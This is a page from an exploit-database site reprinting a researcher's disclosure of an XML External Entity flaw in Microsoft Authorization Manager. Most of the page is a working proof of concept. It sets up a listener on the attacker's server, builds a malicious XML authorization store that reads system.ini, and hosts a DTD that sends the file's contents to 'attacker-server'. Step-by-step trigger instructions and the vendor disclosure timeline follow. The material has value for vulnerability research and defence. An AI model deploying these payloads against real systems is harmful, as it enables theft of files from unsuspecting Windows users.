0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Authorization Manager azman XML External Entity Vulnerability
[[+] Credits: John Page aka hyp3rlinx Vendor: ================== www.microsoft.com Product: ============================== Microsoft Authorization Manager v6.1.7601 The Authorization Manager allows you to set role-based permissions for Authorization Manager-enabled applications. You can store authorization stores in either XML files, Active Directory Domain Services (AD DS), Active Directory Lightweight Directory Services (AD LDS), or in Microsoft SQL Server databases. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== "msxml3.dll" DLL is used by "Microsoft Management Console" azman.msc / eventvwr.msc and other Windows components to process XML files. The parser processes XML External Entity nodes allowing external connections to be made to remote malicious DTD documents that can potentially allow access to files on users system to be exfiltrated to a remote server. Therefore the XML parser is vulnerable to XXE attack if a user unknowingly opens a malicious XML 'authorization store' document via remote share/USB into 'Authorization Manager'. "C:Windowssystem32mmc.exe" "C:Windowssystem32azman.msc" "C:WindowsSystem32msxml3.dll" Exploit code(s): =============== Start our listener on attacker server to access users files. python -m SimpleHTTPServer 8080 Create the evil XML file with following payload to steal "system.ini" as data theft POC. <?xml version="1.0"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "C:Windowssystem.ini"> <!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Next, create the "payload.dtd" DTD document to host on attacker server. <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>"> %all; 1) Go to Windows CL and type azman to bring up Authorization Manager 2) Go to Action / "Open Authorization store..." 3) Select authorization store type to be 'XML file' 4) Browse to open the "PWN.XML" authorization store file and click Ok User will see error message "Cannot open the authorization store. The following problem occurred: An attempt was made to load a program with an incorrect format." Result: files delivered to your server! Disclosure Timeline: =========================================== Vendor Notification: August 30, 2016 Vendor Reply: August 30, 2016 does not meet the bar for servicing as someone would have to obtain the XML from an untrusted source or compromised source" December 4, 2016 : Public Disclosure # 0day.today [2025-01-08] #